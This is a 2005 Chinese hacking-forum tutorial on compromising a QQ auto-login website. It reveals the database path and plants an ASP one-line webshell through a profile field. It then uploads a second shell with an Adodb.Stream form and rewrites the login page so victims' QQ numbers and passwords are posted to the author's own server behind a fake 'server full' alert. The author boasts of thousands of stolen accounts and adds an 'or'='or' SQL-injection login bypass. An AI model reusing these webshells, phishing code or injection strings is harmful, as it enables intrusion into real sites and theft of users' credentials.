通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 攻防教程 >> 文章正文
推荐:入侵QQ挂机网实施钓鱼攻击
责任编辑:admin   更新日期:2005-10-15
 
作者:fhod
入侵QQ挂机网实施钓鱼攻击(已发表在黑客X档案05.10)
前不久上QQ老是收到好友挂机的信息..这次看到我同学发来的信息..无意中打开..看排名不错..突然就有了想
入侵它的冲动
QQ挂机的页面没什么看头..看看主站.ASP的..试了几个连接尝试SQL注入..失败...然后就想着找二级连接用%5c
爆库..很遗憾..没找到..正打算放弃的时候.看到有注册..就自己注册了一个进去玩...注册成功后返回一地址.
如图1
按此在新窗口打开图片
有点希望了,
改成
http://www.xxx.com/system/admin%5csave_user.asp 〈为了引起不必要的麻烦.去除敏感信息〉
数据库路径给爆了出来...如图2
按此在新窗口打开图片
换成URL就是
http://www.xxx.com/system/xxxx/system.asp
数据库是出来了..还是ASP..未做防下载处理..但我们如何利用呢..开始我们已经注册了用户..登陆看看把..
看到有〈个人信息修改〉
我们在地址或个人主页那里写上一句话代码
〈%execute request("value")%〉  图3
按此在新窗口打开图片
自我介绍那里我试了.只要写了代码就被转义了,,
然后我们重新看下数据库文件
http://www.xxx.com/system/xxxx/system.asp
看最下面的数据..图4
按此在新窗口打开图片
Microsoft VBScript 运行时错误 错误 ’800a000d’ 
类型不匹配: ’execute’ 
/system/xxxx/system.asp,行838 
说明我们已经成功把一句话木马代码写进数据
然后把以下代码保存HTM格式的就可以本地上传一个马了...
〈form action=http://www.xxx.com/system/xxxx/system.asp method=post〉
〈textarea name=value cols=120 rows=10 width=45〉 
set lP=server.createObject("Adodb.Stream") 
lP.Open 
lP.Type=2 
lP.CharSet="gb2312" 
lP.writetext request("fhod") 
lP.SaveToFile server.mappath("ck.asp"),2 
lP.Close 
set lP=nothing 
response.redirect "ck.asp" 
〈/textarea〉 
木马
〈/textarea〉〈BR〉〈center〉〈br〉 
〈input type=submit value=提交〉 
我写了一个海洋的马..然后提交...返回登陆界面..
http://www.xxx.com/system/xxxx/ck.asp
图5...成功

按此在新窗口打开图片
这里关于怎么入侵的.写的不是很详细.很多都是一概而过..因为没多少技术含量..本文也并不是着重讲解如何
入侵的...下面的内容才是最主要的...就是我如何利用这个挂Q的站实现一次钓鱼攻击的
拿到SHELL后进入QQ目录..看到实现挂机的也就index.asp和def.asp两个文件...其中代码是调用了服务器安装
的组件..具体什么组件就不清楚了..
看下index.asp代码
〈form method="POST" action="Index.asp"〉
〈tr〉〈td colspan=2 align=center bgcolor="#F5F5F5"〉用户登陆〈/td〉〈/tr〉
〈tr〉〈td〉〈img src="Img/Login.jpg"〉〈/td〉
        〈td〉QQ号码:〈input type=text size=20 name=QQ value="〈%=QQ%〉"〉〈br〉
            密  码:〈input type=password size=20 name=Password value="〈%=PWD%〉"〉〈br〉
登陆过程就是这样实现...由于代码多....我就不全发了...
那我们是否可以修改这里的代码来实现钓鱼呢...也就是...别人来挂QQ输入了QQ和密码只要点了登陆..那么QQ
和密码就会发给我们预先设定好的一个地方...这里用ASP实现
下面是我修改后的index.asp主要代码
〈table border=1 bordercolor="#CCCCCC" cellpadding=4 class=use1〉〈form method="POST" 
action="" target="_blank"〉http://www.ciker.org/qq/qqs.asp"〉
〈tr〉〈td colspan=2 align=center bgcolor="#F5F5F5"〉用户登陆〈/td〉〈/tr〉
〈tr〉〈td〉〈img src="Img/Login.jpg"〉〈/td〉
        〈td〉QQ号码:〈INPUT class=inp type=text size=20 name=QQ value="〈%=QQ%〉"〉〈br〉
            密  码:〈INPUT class=inp name=mima type=password size=20 
value="〈%=PWD%〉"〉〈br〉
            登陆模式:〈select size="1" name="LoginMode1" style="width:100px"〉
这段代码意思是输入的QQ和密码都会提交到http://www.ciker.org/qq/qqs.asp里面去
然后我们在来看一下qqs.asp的代码...经过我修改的
〈!--#include file=conn.asp--〉
〈%
qq=request("qq")
mima=request("mima")
set rs=server.createobject("adodb.recordset")
sql="select * from qq"
rs.open sql,conn,1,3
rs.addnew
rs("qq")=qq
rs("mima")=mima
rs.update
%〉
〈script language=javascript〉
    alert("对不起,服务器人已经满了.请稍后再登陆");    
〈/script〉
〈meta http-equiv="Refresh" content="1; URL=http://qq.xxxx.com/indexbak.asp"〉
我来解释下
qq=request("qq")正好对应index.asp中的QQ号码:〈INPUT class=inp type=text size=20 name=QQ 
value="〈%=QQ%〉"〉
mima=request("mima")对应密  码:〈INPUT class=inp name=mima type=password size=20 
value="〈%=PWD%〉"〉〈br〉
下面的
〈script language=javascript〉
    alert("对不起,服务器人已经满了.请稍后再登陆");    
〈/script〉
是我制造的虚假信息..当对方第一次挂机时..输入qq和密码..点登陆...就会提交到我的站里http://www.ciker
.org/qq/qqs.asp
然后弹出信息"对不起,服务器人已经满了.请稍后再登陆"
如图6
按此在新窗口打开图片
然后
〈meta http-equiv="Refresh" content="1; URL=http://qq.xxxx.com/indexbak.asp"〉
在一秒内转到http://qq.xxxx.com/indexbak.asp这个站indexbak.asp是我备份他的index.asp正常登陆页面,..
然后返回正常登陆..这次输入QQ和密码..登陆..就会出现..成功发送登陆消息的提示
图7
按此在新窗口打开图片
这时候虽然QQ是已经挂上了..但厄运也跟着降临了..或许这个时候你还在为QQ挂机成功而高兴呢..孰不知...明
天已经发到了我网站后台..现在我们登陆后台看看成果把..图8是我刚才提交的结果....密码当然是乱写的了
按此在新窗口打开图片
呵呵..大家就不要尝试登陆了..:)
数据库我处理了...先给大家抓张我钓鱼的成果截图..图9.
按此在新窗口打开图片
状态栏先的那个http://www.ciker.org/qq/sc.asp?id=3680是删除QQ和密码记录的
ID=3680表示这是第3680个QQ了...呵...收获还不少把

为了不给对方站点带来不必要的麻烦..我屏蔽掉了他的信息...如果大家有兴趣测试的话
我把我改的程序传到了我的站
http://www.ciker.org/qq/
千万不要输入真正的密码.^_^..小心被盗了..到时候千万别来找我哈...
后台登陆地址
http://www.ciker.org/qq/ad.htm
管理员用户和密码我就不说了..看过无名的那篇文章的估计都能进去..没看的建议看下
http://bbs.hackbase.com/viewthread.php?tid=2731091&fpage=2
我们来看ad.htm  的代码不难看出
〈form align=center action=qq.asp method=post name="form1"〉〈br〉
 管理员:〈input name="na"〉 〈br〉
 密  码:〈input type=password name="pwd"〉 〈br〉〈br〉
接着来看qq.asp的登陆验证代码
〈%
if session("name")="" then 
    na=request("na")
    pwd=request("pwd")
    set rs=server.createobject("adodb.recordset")
    sql="select * from admin where name=’"&na&"’ and pwd=’"&pwd&"’"
    rs.open sql,conn,1,3
    if rs.eof then%〉
    〈script language=javascript〉
        alert("管理帐户或者密码错误");
        window.location="ad.htm"
    〈/script〉
    〈% else session("name")=na
    end if 
end if
set rs=server.createobject("adodb.recordset")
sql="select * from qq order by time"
rs.open sql,conn,1,3
%〉
呵呵..懂点ASP的看出来了把
sql="select * from admin where name=’"&na&"’ and pwd=’"&pwd&"’"
用经典的’or’=’or’就可以进去了..
这个文章并不是告诉大家怎样去盗Q
只是起了个抛砖引玉作用..
并不一定非用此方法去盗Q
具体怎么利用就看你自己了...呵.
好了.不多说了..有对此程序有兴趣的朋友可以联系我
我的BLOG: http://www.ciker.org/
  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章提醒:“求职信”病毒1月6日发作
    普通文章两条“蠕虫”蠢蠢欲动
    普通文章5“网银大盗”狂盗储户14万 武汉男子被判10年
    普通文章“木马事件”终告结束 英语学习网重获新生
    普通文章搜索引擎不再喜欢新米,并非只是CN米
    普通文章蠕虫"威金"新变种 "小熊猫"屠宰多个计算机系统
    普通文章元旦上网谨防“Real蛀虫” 通过视频文件传播
    普通文章入侵工具Knark的分析及防范
    普通文章认清本质 计算机病毒防治常遇问题
    普通文章饶过现代Anti-Rookit工具的内核模块扫描(ZT)
    精彩专题